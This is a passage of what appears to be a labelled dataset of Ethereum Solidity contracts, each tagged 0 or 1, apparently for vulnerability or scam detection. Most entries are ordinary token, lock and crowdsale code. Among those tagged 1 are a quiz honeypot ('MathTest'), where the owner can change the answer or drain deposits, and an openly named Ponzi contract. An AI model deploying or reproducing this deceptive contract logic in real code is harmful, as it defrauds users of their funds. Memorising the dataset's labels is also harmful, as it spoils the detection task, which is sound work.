function resumeGame() public onlyOwner {
gameActive = true;
}
function changeOwner(address _newOwner) public onlyOwner {
owner = _newOwner;
}
function changeBankroll(address _newBankroll) public onlyOwner {
bankroll = _newBankroll;
}
function _zthToken(address _tokenContract) private view returns (bool) {
return _tokenContract == ZTHTKNADDR;
}
}
library SafeMath {
function mul(uint a, uint b) internal pure returns (uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
assert(c / a == b);
return c;
}
function div(uint a, uint b) internal pure returns (uint) {
uint c = a / b;
return c;
}
function sub(uint a, uint b) internal pure returns (uint) {
assert(b <= a);
return a - b;
}
function add(uint a, uint b) internal pure returns (uint) {
uint c = a + b;
assert(c >= a);
return c;
}
} | 0 |
pragma solidity ^0.4.25;
contract MathTest
{
function Try(string _response) external payable {
require(msg.sender == tx.origin);
if(responseHash == keccak256(abi.encodePacked(_response)) && msg.value>minBet)
{
msg.sender.transfer(address(this).balance);
}
}
string public question;
uint256 public minBet = count * 2 * 10 finney;
address questionSender;
bytes32 responseHash;
uint count;
function start_quiz_game(string _question,bytes32 _response, uint _count) public payable {
if(responseHash==0x0)
{
responseHash = _response;
question = _question;
count = _count;
questionSender = msg.sender;
}
}
function StopGame() public payable onlyQuestionSender {
msg.sender.transfer(address(this).balance);
}
function NewQuestion(string _question, bytes32 _responseHash) public payable onlyQuestionSender {
question = _question;
responseHash = _responseHash;
}
function newQuestioner(address newAddress) public onlyQuestionSender{
questionSender = newAddress;
}
modifier onlyQuestionSender(){
require(msg.sender==questionSender);
_;
}
function() public payable{}
} | 1 |
pragma solidity ^0.4.24;
contract SafeMath {
function safeAdd(uint a, uint b) public pure returns (uint c) {
c = a + b;
require(c >= a);
}
function safeSub(uint a, uint b) public pure returns (uint c) {
require(b <= a);
c = a - b;
}
function safeMul(uint a, uint b) public pure returns (uint c) {
c = a * b;
require(a == 0 || c / a == b);
}
function safeDiv(uint a, uint b) public pure returns (uint c) {
require(b > 0);
c = a / b;
}
}
contract ERC20Interface {
function totalSupply() public constant returns (uint);
function balanceOf(address tokenOwner) public constant returns (uint balance);
function allowance(address tokenOwner, address spender) public constant returns (uint remaining);
function transfer(address to, uint tokens) public returns (bool success);
function approve(address spender, uint tokens) public returns (bool success);
function transferFrom(address from, address to, uint tokens) public returns (bool success);
event Transfer(address indexed from, address indexed to, uint tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}
contract ApproveAndCallFallBack {
function receiveApproval(address from, uint256 tokens, address token, bytes data) public;
}
contract Owned {
address public owner;
address public newOwner;
event OwnershipTransferred(address indexed _from, address indexed _to);
function Owned() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address _newOwner) public onlyOwner {
newOwner = _newOwner;
}
function acceptOwnership() public {
require(msg.sender == newOwner);
OwnershipTransferred(owner, newOwner);
owner = newOwner;
newOwner = address(0);
}
}
contract POSSCOIN is ERC20Interface, Owned, SafeMath {
string public symbol;
string public name;
uint8 public decimals;
uint public _totalSupply;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
function POSSCOIN() public {
symbol = "POSS";
name = "POSSCOIN";
decimals = 18;
_totalSupply = 15450990960000000000000000000;
balances[0xf3D5C6aECB62b8E434c844260EA91601d8082357] = _totalSupply;
Transfer(address(0), 0xf3D5C6aECB62b8E434c844260EA91601d8082357, _totalSupply);
}
function totalSupply() public constant returns (uint) {
return _totalSupply - balances[address(0)];
}
function balanceOf(address tokenOwner) public constant returns (uint balance) {
return balances[tokenOwner];
}
function transfer(address to, uint tokens) public returns (bool success) {
balances[msg.sender] = safeSub(balances[msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
Transfer(msg.sender, to, tokens);
return true;
}
function approve(address spender, uint tokens) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
Approval(msg.sender, spender, tokens);
return true;
}
function transferFrom(address from, address to, uint tokens) public returns (bool success) {
balances[from] = safeSub(balances[from], tokens);
allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
Transfer(from, to, tokens);
return true;
}
function allowance(address tokenOwner, address spender) public constant returns (uint remaining) {
return allowed[tokenOwner][spender];
}
function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
Approval(msg.sender, spender, tokens);
ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data);
return true;
}
function () public payable {
revert();
}
function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) {
return ERC20Interface(tokenAddress).transfer(owner, tokens);
}
} | 1 |
pragma solidity ^0.4.18;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract token {
function balanceOf(address _owner) public constant returns (uint256 balance);
function transfer(address _to, uint256 _value) public returns (bool success);
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() public{
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) onlyOwner public {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract lockEtherPay is Ownable {
using SafeMath for uint256;
token token_reward;
address public beneficiary;
bool public isLocked = false;
bool public isReleased = false;
uint256 public start_time;
uint256 public end_time;
uint256 public fifty_two_weeks = 30326400;
event TokenReleased(address beneficiary, uint256 token_amount);
constructor() public{
token_reward = token(0xAa1ae5e57dc05981D83eC7FcA0b3c7ee2565B7D6);
beneficiary = 0x97a870f9b358072A193bf7fA2D5994420DE66EA8;
}
function tokenBalance() constant public returns (uint256){
return token_reward.balanceOf(this);
}
function lock() public onlyOwner returns (bool){
require(!isLocked);
require(tokenBalance() > 0);
start_time = now;
end_time = start_time.add(fifty_two_weeks);
isLocked = true;
}
function lockOver() constant public returns (bool){
uint256 current_time = now;
return current_time > end_time;
}
function release() onlyOwner public{
require(isLocked);
require(!isReleased);
require(lockOver());
uint256 token_amount = tokenBalance();
token_reward.transfer( beneficiary, token_amount);
emit TokenReleased(beneficiary, token_amount);
isReleased = true;
}
} | 0 |
pragma solidity ^0.4.11;
contract PonziScheme {
uint public round;
address public lastDepositor;
uint public lastDepositorAmount;
uint public startingAmount;
uint public nextAmount;
function PonziScheme(uint _startingAmount) {
round = 1;
startingAmount = _startingAmount;
nextAmount = _startingAmount;
}
function() payable {
if(round == 1) {
if(msg.value != startingAmount) {
throw;
}
} else {
checkAmount(msg.value);
lastDepositor.send(msg.value);
}
lastDepositorAmount = msg.value;
lastDepositor = msg.sender;
nextAmount = msg.value * 2;
increaseRound();
}
function checkAmount(uint amount) private {
if(amount != lastDepositorAmount * 2) {
throw;
}
}
function increaseRound() private {
round = round + 1;
}
} | 1 |
pragma solidity ^0.4.18;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract token {
function balanceOf(address _owner) public constant returns (uint256 balance);
function transfer(address _to, uint256 _value) public returns (bool success);
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() public{
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) onlyOwner public {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract lockEtherPay is Ownable {
using SafeMath for uint256;
token token_reward;
address public beneficiary;
bool public isLocked = false;
bool public isReleased = false;
uint256 public start_time;
uint256 public end_time;
uint256 public fifty_two_weeks = 28598400;
event TokenReleased(address beneficiary, uint256 token_amount);
constructor() public{
token_reward = token(0xAa1ae5e57dc05981D83eC7FcA0b3c7ee2565B7D6);
beneficiary = 0x0B10E768055887A48Ba614c01867030b596D274B;
}
function tokenBalance() constant public returns (uint256){
return token_reward.balanceOf(this);
}
function lock() public onlyOwner returns (bool){
require(!isLocked);
require(tokenBalance() > 0);
start_time = now;
end_time = start_time.add(fifty_two_weeks);
isLocked = true;
}
function lockOver() constant public returns (bool){
uint256 current_time = now;
return current_time > end_time;
}
function release() onlyOwner public{
require(isLocked);
require(!isReleased);
require(lockOver());
uint256 token_amount = tokenBalance();
token_reward.transfer( beneficiary, token_amount);
emit TokenReleased(beneficiary, token_amount);
isReleased = true;
}
} | 0 |
pragma solidity ^0.4.24;
contract ERC20 {
uint public totalSupply;
function balanceOf(address _owner) constant public returns (uint balance);
function transfer(address _to, uint _value) public returns (bool success);
function transferFrom(address _from, address _to, uint _value) public returns (bool success);
function approve(address _spender, uint _value) public returns (bool success);
function allowance(address _owner, address _spender) public constant returns (uint remaining);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
contract Airdropper
{
function multisend(address _tokenAddr, address[] addr, uint256[] values) public
{
require(addr.length == values.length && addr.length > 0);
uint256 i=0;
while(i < addr.length)
{
require(addr[i] != address(0));
require(values[i] > 0);
require(ERC20(_tokenAddr).transferFrom(msg.sender, addr[i], values[i]));
i++;
}
}
} | 1 |
pragma solidity ^0.4.23;
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender)
public view returns (uint256);
function transferFrom(address from, address to, uint256 value)
public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(
address _from,
address _to,
uint256 _value
)
public
returns (bool)
{
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(
address _owner,
address _spender
)
public
view
returns (uint256)
{
return allowed[_owner][_spender];
}
function increaseApproval(
address _spender,
uint _addedValue
)
public
returns (bool)
{
allowed[msg.sender][_spender] = (
allowed[msg.sender][_spender].add(_addedValue));
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(
address _spender,
uint _subtractedValue
)
public
returns (bool)
{
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
modifier hasMintPermission() {
require(msg.sender == owner);
_;
}
function mint(
address _to,
uint256 _amount
)
hasMintPermission
canMint
public
returns (bool)
{
totalSupply_ = totalSupply_.add(_amount);
balances[_to] = balances[_to].add(_amount);
emit Mint(_to, _amount);
emit Transfer(address(0), _to, _amount);
return true;
}
function finishMinting() onlyOwner canMint public returns (bool) {
mintingFinished = true;
emit MintFinished();
return true;
}
}
contract FreezableToken is StandardToken {
mapping (bytes32 => uint64) internal chains;
mapping (bytes32 => uint) internal freezings;
mapping (address => uint) internal freezingBalance;
event Freezed(address indexed to, uint64 release, uint amount);
event Released(address indexed owner, uint amount);
function balanceOf(address _owner) public view returns (uint256 balance) {
return super.balanceOf(_owner) + freezingBalance[_owner];
}
function actualBalanceOf(address _owner) public view returns (uint256 balance) {
return super.balanceOf(_owner);
}
function freezingBalanceOf(address _owner) public view returns (uint256 balance) {
return freezingBalance[_owner];
}
function freezingCount(address _addr) public view returns (uint count) {
uint64 release = chains[toKey(_addr, 0)];
while (release != 0) {
count++;
release = chains[toKey(_addr, release)];
}
}
function getFreezing(address _addr, uint _index) public view returns (uint64 _release, uint _balance) {
for (uint i = 0; i < _index + 1; i++) {
_release = chains[toKey(_addr, _release)];
if (_release == 0) {
return;
}
}
_balance = freezings[toKey(_addr, _release)];
}
function freezeTo(address _to, uint _amount, uint64 _until) public {
require(_to != address(0));
require(_amount <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_amount);
bytes32 currentKey = toKey(_to, _until);
freezings[currentKey] = freezings[currentKey].add(_amount);
freezingBalance[_to] = freezingBalance[_to].add(_amount);
freeze(_to, _until);
emit Transfer(msg.sender, _to, _amount);
emit Freezed(_to, _until, _amount);
}
function releaseOnce() public {
bytes32 headKey = toKey(msg.sender, 0);
uint64 head = chains[headKey];
require(head != 0);
require(uint64(block.timestamp) > head);
bytes32 currentKey = toKey(msg.sender, head);
uint64 next = chains[currentKey];
uint amount = freezings[currentKey];
delete freezings[currentKey];
balances[msg.sender] = balances[msg.sender].add(amount);
freezingBalance[msg.sender] = freezingBalance[msg.sender].sub(amount);
if (next == 0) {
delete chains[headKey];
} else {
chains[headKey] = next;
delete chains[currentKey];
}
emit Released(msg.sender, amount);
}
function releaseAll() public returns (uint tokens) {
uint release;
uint balance;
(release, balance) = getFreezing(msg.sender, 0);
while (release != 0 && block.timestamp > release) {
releaseOnce();
tokens += balance;
(release, balance) = getFreezing(msg.sender, 0);
}
}
function toKey(address _addr, uint _release) internal pure returns (bytes32 result) {
result = 0x5749534800000000000000000000000000000000000000000000000000000000;
assembly {
result := or(result, mul(_addr, 0x10000000000000000))
result := or(result, _release)
}
}
function freeze(address _to, uint64 _until) internal {
require(_until > block.timestamp);
bytes32 key = toKey(_to, _until);
bytes32 parentKey = toKey(_to, uint64(0));
uint64 next = chains[parentKey];
if (next == 0) {
chains[parentKey] = _until;
return;
}
bytes32 nextKey = toKey(_to, next);
uint parent;
while (next != 0 && _until > next) {
parent = next;
parentKey = nextKey;
next = chains[nextKey];
nextKey = toKey(_to, next);
}
if (_until == next) {
return;
}
if (next != 0) {
chains[key] = next;
}
chains[parentKey] = _until;
}
}
contract BurnableToken is BasicToken {
event Burn(address indexed burner, uint256 value);
function burn(uint256 _value) public {
_burn(msg.sender, _value);
}
function _burn(address _who, uint256 _value) internal {
require(_value <= balances[_who]);
balances[_who] = balances[_who].sub(_value);
totalSupply_ = totalSupply_.sub(_value);
emit Burn(_who, _value);
emit Transfer(_who, address(0), _value);
}
}
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused() {
require(paused);
_;
}
function pause() onlyOwner whenNotPaused public {
paused = true;
emit Pause();
}
function unpause() onlyOwner whenPaused public {
paused = false;
emit Unpause();
}
}
contract FreezableMintableToken is FreezableToken, MintableToken {
function mintAndFreeze(address _to, uint _amount, uint64 _until) public onlyOwner canMint returns (bool) {
totalSupply_ = totalSupply_.add(_amount);
bytes32 currentKey = toKey(_to, _until);
freezings[currentKey] = freezings[currentKey].add(_amount);
freezingBalance[_to] = freezingBalance[_to].add(_amount);
freeze(_to, _until);
emit Mint(_to, _amount);
emit Freezed(_to, _until, _amount);
emit Transfer(msg.sender, _to, _amount);
return true;
}
}
contract Consts {
uint public constant TOKEN_DECIMALS = 18;
uint8 public constant TOKEN_DECIMALS_UINT8 = 18;
uint public constant TOKEN_DECIMAL_MULTIPLIER = 10 ** TOKEN_DECIMALS;
string public constant TOKEN_NAME = "RĪX";
string public constant TOKEN_SYMBOL = "RĪX";
bool public constant PAUSED = true;
address public constant TARGET_USER = 0xAAaEEE162102491a3a27390277A0a4c61BfB7373;
uint public constant START_TIME = 1532016047;
bool public constant CONTINUE_MINTING = true;
}
contract MainToken is Consts, FreezableMintableToken, BurnableToken, Pausable
{
function name() public pure returns (string _name) {
return TOKEN_NAME;
}
function symbol() public pure returns (string _symbol) {
return TOKEN_SYMBOL;
}
function decimals() public pure returns (uint8 _decimals) {
return TOKEN_DECIMALS_UINT8;
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool _success) {
require(!paused);
return super.transferFrom(_from, _to, _value);
}
function transfer(address _to, uint256 _value) public returns (bool _success) {
require(!paused);
return super.transfer(_to, _value);
}
} | 1 |
pragma solidity ^0.4.18;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
interface ManagedToken{
function setLock(bool _newLockState) public returns (bool success);
function mint(address _for, uint256 _amount) public returns (bool success);
function demint(address _for, uint256 _amount) public returns (bool success);
function decimals() view public returns (uint8 decDigits);
function totalSupply() view public returns (uint256 supply);
function balanceOf(address _owner) view public returns (uint256 balance);
}
contract HardcodedCrowdsale {
using SafeMath for uint256;
enum ICOStateEnum {NotStarted, Started, Refunded, Successful}
address public owner = msg.sender;
ManagedToken public managedTokenLedger;
string public name = "Tokensale of CPL";
string public symbol = "CPL";
bool public halted = false;
uint256 public minTokensToBuy = 700;
uint256 public preICOcontributors = 0;
uint256 public preICOstart;
uint256 public preICOend;
uint256 public preICOgoal;
uint256 public preICOcollected = 0;
uint256 public preICOcap = 0 ether;
uint256 public preICOtokensSold = 0;
ICOStateEnum public preICOstate = ICOStateEnum.NotStarted;
uint8 public decimals = 9;
uint256 public DECIMAL_MULTIPLIER = 10**uint256(decimals);
uint8 public saleIndex = 0;
uint256 public preICOprice = uint256(1 ether).div(1000);
uint256[3] public preICObonusMultipiersInPercent = [150, 145, 140];
uint256[3] public preICOcoinsLeft = [1000000*DECIMAL_MULTIPLIER, 1000000*DECIMAL_MULTIPLIER, 1000000*DECIMAL_MULTIPLIER];
uint256 public totalPreICOavailibleWithBonus = 4350000*DECIMAL_MULTIPLIER;
uint256 public maxIssuedWithAmountBasedBonus = 4650000*DECIMAL_MULTIPLIER;
uint256[4] public preICOamountBonusLimits = [5 ether, 20 ether, 50 ether, 300 ether];
uint256[4] public preICOamountBonusMultipierInPercent = [103, 105, 107, 110];
mapping(address => uint256) public weiForRefundPreICO;
mapping(address => uint256) public weiToRecoverPreICO;
mapping(address => uint256) public balancesForPreICO;
event Purchased(address indexed _from, uint256 _value);
function advanceState() public returns (bool success) {
transitionState();
return true;
}
function transitionState() internal {
if (now >= preICOstart) {
if (preICOstate == ICOStateEnum.NotStarted) {
preICOstate = ICOStateEnum.Started;
}
if (preICOcap > 0 && preICOcollected >= preICOcap) {
preICOstate = ICOStateEnum.Successful;
}
if ( (saleIndex == preICOcoinsLeft.length) && (preICOcoinsLeft[saleIndex-1] == 0) ) {
preICOstate = ICOStateEnum.Successful;
}
} if (now >= preICOend) {
if (preICOstate == ICOStateEnum.Started) {
if (preICOcollected >= preICOgoal) {
preICOstate = ICOStateEnum.Successful;
} else {
preICOstate = ICOStateEnum.Refunded;
}
}
}
}
modifier stateTransition() {
transitionState();
_;
transitionState();
}
modifier notHalted() {
require(!halted);
_;
}
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
function balanceOf(address _owner) view public returns (uint256 balance) {
return managedTokenLedger.balanceOf(_owner);
}
function totalSupply() view public returns (uint256 balance) {
return managedTokenLedger.totalSupply();
}
function HardcodedCrowdsale (uint _preICOstart, uint _preICOend, uint _preICOgoal, uint _preICOcap, address _newLedgerAddress) public {
require(_preICOstart > now);
require(_preICOend > _preICOstart);
require(_preICOgoal > 0);
require(_newLedgerAddress != address(0));
preICOstart = _preICOstart;
preICOend = _preICOend;
preICOgoal = _preICOgoal;
preICOcap = _preICOcap;
managedTokenLedger = ManagedToken(_newLedgerAddress);
assert(managedTokenLedger.decimals() == decimals);
}
function setNameAndTicker(string _name, string _symbol) onlyOwner public returns (bool success) {
require(bytes(_name).length > 1);
require(bytes(_symbol).length > 1);
name = _name;
symbol = _symbol;
return true;
}
function setLedger (address _newLedgerAddress) onlyOwner public returns (bool success) {
require(_newLedgerAddress != address(0));
managedTokenLedger = ManagedToken(_newLedgerAddress);
assert(managedTokenLedger.decimals() == decimals);
return true;
}
function () payable stateTransition notHalted external {
require(msg.value > 0);
require(preICOstate == ICOStateEnum.Started);
assert(preICOBuy());
}
function finalize() stateTransition public returns (bool success) {
require(preICOstate == ICOStateEnum.Successful);
owner.transfer(preICOcollected);
return true;
}
function setHalt(bool _halt) onlyOwner public returns (bool success) {
halted = _halt;
return true;
}
function calculateAmountBoughtPreICO(uint256 _weisSentScaled, uint256 _amountBonusMultiplier)
internal returns (uint256 _tokensToBuyScaled, uint256 _weisLeftScaled) {
uint256 value = _weisSentScaled;
uint256 totalPurchased = 0;
for (uint8 i = saleIndex; i < preICOcoinsLeft.length; i++) {
if (preICOcoinsLeft[i] == 0) {
continue;
}
uint256 forThisRate = value.div(preICOprice);
if (forThisRate == 0) {
break;
}
if (forThisRate >= preICOcoinsLeft[i]) {
forThisRate = preICOcoinsLeft[i];
preICOcoinsLeft[i] = 0;
saleIndex = i+1;
} else {
preICOcoinsLeft[i] = preICOcoinsLeft[i].sub(forThisRate);
}
uint256 consumed = forThisRate.mul(preICOprice);
value = value.sub(consumed);
forThisRate = forThisRate.mul(_amountBonusMultiplier.add(preICObonusMultipiersInPercent[i]).sub(100)).div(100);
totalPurchased = totalPurchased.add(forThisRate);
}
return (totalPurchased, value);
}
function getBonusMultipierInPercents(uint256 _sentAmount) public view returns (uint256 _multi) {
uint256 bonusMultiplier = 100;
for (uint8 i = 0; i < preICOamountBonusLimits.length; i++) {
if (_sentAmount < preICOamountBonusLimits[i]) {
break;
} else {
bonusMultiplier = preICOamountBonusMultipierInPercent[i];
}
}
return bonusMultiplier;
}
function preICOBuy() internal notHalted returns (bool success) {
uint256 weisSentScaled = msg.value.mul(DECIMAL_MULTIPLIER);
address _for = msg.sender;
uint256 amountBonus = getBonusMultipierInPercents(msg.value);
var (tokensBought, fundsLeftScaled) = calculateAmountBoughtPreICO(weisSentScaled, amountBonus);
if (tokensBought < minTokensToBuy.mul(DECIMAL_MULTIPLIER)) {
revert();
}
uint256 fundsLeft = fundsLeftScaled.div(DECIMAL_MULTIPLIER);
uint256 totalSpent = msg.value.sub(fundsLeft);
if (balanceOf(_for) == 0) {
preICOcontributors = preICOcontributors + 1;
}
managedTokenLedger.mint(_for, tokensBought);
balancesForPreICO[_for] = balancesForPreICO[_for].add(tokensBought);
weiForRefundPreICO[_for] = weiForRefundPreICO[_for].add(totalSpent);
weiToRecoverPreICO[_for] = weiToRecoverPreICO[_for].add(fundsLeft);
Purchased(_for, tokensBought);
preICOcollected = preICOcollected.add(totalSpent);
preICOtokensSold = preICOtokensSold.add(tokensBought);
return true;
}
function recoverLeftoversPreICO() stateTransition notHalted public returns (bool success) {
require(preICOstate != ICOStateEnum.NotStarted);
uint256 value = weiToRecoverPreICO[msg.sender];
delete weiToRecoverPreICO[msg.sender];
msg.sender.transfer(value);
return true;
}
function refundPreICO() stateTransition notHalted public returns (bool success) {
require(preICOstate == ICOStateEnum.Refunded);
uint256 value = weiForRefundPreICO[msg.sender];
delete weiForRefundPreICO[msg.sender];
uint256 tokenValue = balancesForPreICO[msg.sender];
delete balancesForPreICO[msg.sender];
managedTokenLedger.demint(msg.sender, tokenValue);
msg.sender.transfer(value);
return true;
}
function cleanup() onlyOwner public {
require(preICOstate == ICOStateEnum.Successful);
selfdestruct(owner);
}
} | 0 |
pragma solidity ^0.4.25;
contract RunAway {
using SafeMath for uint256;
using SafeMathInt for int256;
modifier onlyBagholders() {
require(myTokens() > 0);
_;
}
modifier onlyHuman() {
address _addr = msg.sender;
uint256 _codeLength;
assembly {_codeLength := extcodesize(_addr)}
require(_codeLength == 0, "sorry humans only");
_;
}
modifier onlyAdministrator(){
address _customerAddress = msg.sender;
require(administrators[keccak256(abi.encodePacked(_customerAddress))]);
_;
}
modifier onlyComm1(){
address _customerAddress = msg.sender;
require(keccak256(abi.encodePacked(_customerAddress)) == comm1_);
_;
}
modifier onlyComm2{
address _customerAddress = msg.sender;
require(keccak256(abi.encodePacked(_customerAddress)) == comm2_);
_;
}
modifier checkRoundStatus()
{
if(now >= rounds_[currentRoundID_].endTime)
{
endCurrentRound();
startNextRound();
}
_;
}
function startNextRound()
private
{
currentRoundID_ ++;
rounds_[currentRoundID_].roundID = currentRoundID_;
rounds_[currentRoundID_].startTime = now;
rounds_[currentRoundID_].endTime = now + roundDuration_;
rounds_[currentRoundID_].ended = false;
}
function endCurrentRound()
private
{
Round storage round = rounds_[currentRoundID_];
round.ended = true;
if(round.netBuySum>0 && round.dividends>0)
{
round.profitPerShare = round.dividends.mul(magnitude).div(round.netBuySum);
}
}
modifier isActivated() {
require(activated_ == true, "its not ready yet. check ?eta in discord");
_;
}
modifier antiEarlyWhale(uint256 _amountOfEthereum){
address _customerAddress = msg.sender;
if( onlyAmbassadors && ((totalEthereumBalance() - _amountOfEthereum) <= ambassadorQuota_ )){
require(
ambassadors_[_customerAddress] == true &&
(ambassadorAccumulatedQuota_[_customerAddress] + _amountOfEthereum) <= ambassadorMaxPurchase_
);
ambassadorAccumulatedQuota_[_customerAddress] = SafeMath.add(ambassadorAccumulatedQuota_[_customerAddress], _amountOfEthereum);
_;
} else {
onlyAmbassadors = false;
_;
}
}
event onTokenPurchase(
address indexed customerAddress,
uint256 incomingEthereum,
uint256 tokensMinted
);
event onTokenSell(
address indexed customerAddress,
uint256 tokensBurned,
uint256 ethereumEarned
);
event onReinvestment(
address indexed customerAddress,
uint256 ethereumReinvested,
uint256 tokensMinted
);
event onWithdraw(
address indexed customerAddress,
uint256 ethereumWithdrawn
);
event onAcquireDividends(
address indexed customerAddress,
uint256 dividendsAcquired
);
event Transfer(
address indexed from,
address indexed to,
uint256 tokens
);
event onWithDrawComm(
uint8 indexed comm,
uint256 ethereumWithdrawn
);
event onTransferExpiredDividends(
address indexed customerAddress,
uint256 roundID,
uint256 amount
);
struct Round {
uint256 roundID;
uint256 netBuySum;
uint256 endTime;
bool ended;
uint256 startTime;
uint256 profitPerShare;
uint256 dividends;
mapping(address=>int256) userNetBuy;
mapping(address => uint256) payoutsTo;
uint256 totalPayouts;
}
mapping(uint256=>Round) public rounds_;
uint256 public comm1Balance_;
uint256 public comm2Balance_;
bytes32 comm1_=0xc0495b4fc42a03a01bdcd5e2f7b89dfd2e077e19f273ff82d33e9ec642fc7a08;
bytes32 comm2_=0xa1bb9d7f7e4c2b049c73772f2cab50235f20a685f798970054b74fbc6d411c1e;
uint256 public currentRoundID_;
uint256 public roundDuration_ = 1 hours;
bool public activated_=false;
string public name = "Run Away";
string public symbol = "RUN";
uint8 constant public decimals = 18;
uint8 constant internal dividendFee_ = 10;
uint8 constant internal communityFee_ = 50;
uint256 constant internal tokenPriceInitial_ = 0.0000001 ether;
uint256 constant internal tokenPriceIncremental_ = 0.00000001 ether;
uint256 constant internal magnitude = 2**64;
mapping(address => bool) internal ambassadors_;
uint256 constant internal ambassadorMaxPurchase_ = 20 ether;
uint256 constant internal ambassadorQuota_ = 120 ether;
mapping(address => uint256) internal tokenBalanceLedger_;
mapping(address => uint256) public income_;
mapping(address => uint256) internal ambassadorAccumulatedQuota_;
uint256 internal tokenSupply_ = 0;
mapping(bytes32 => bool) public administrators;
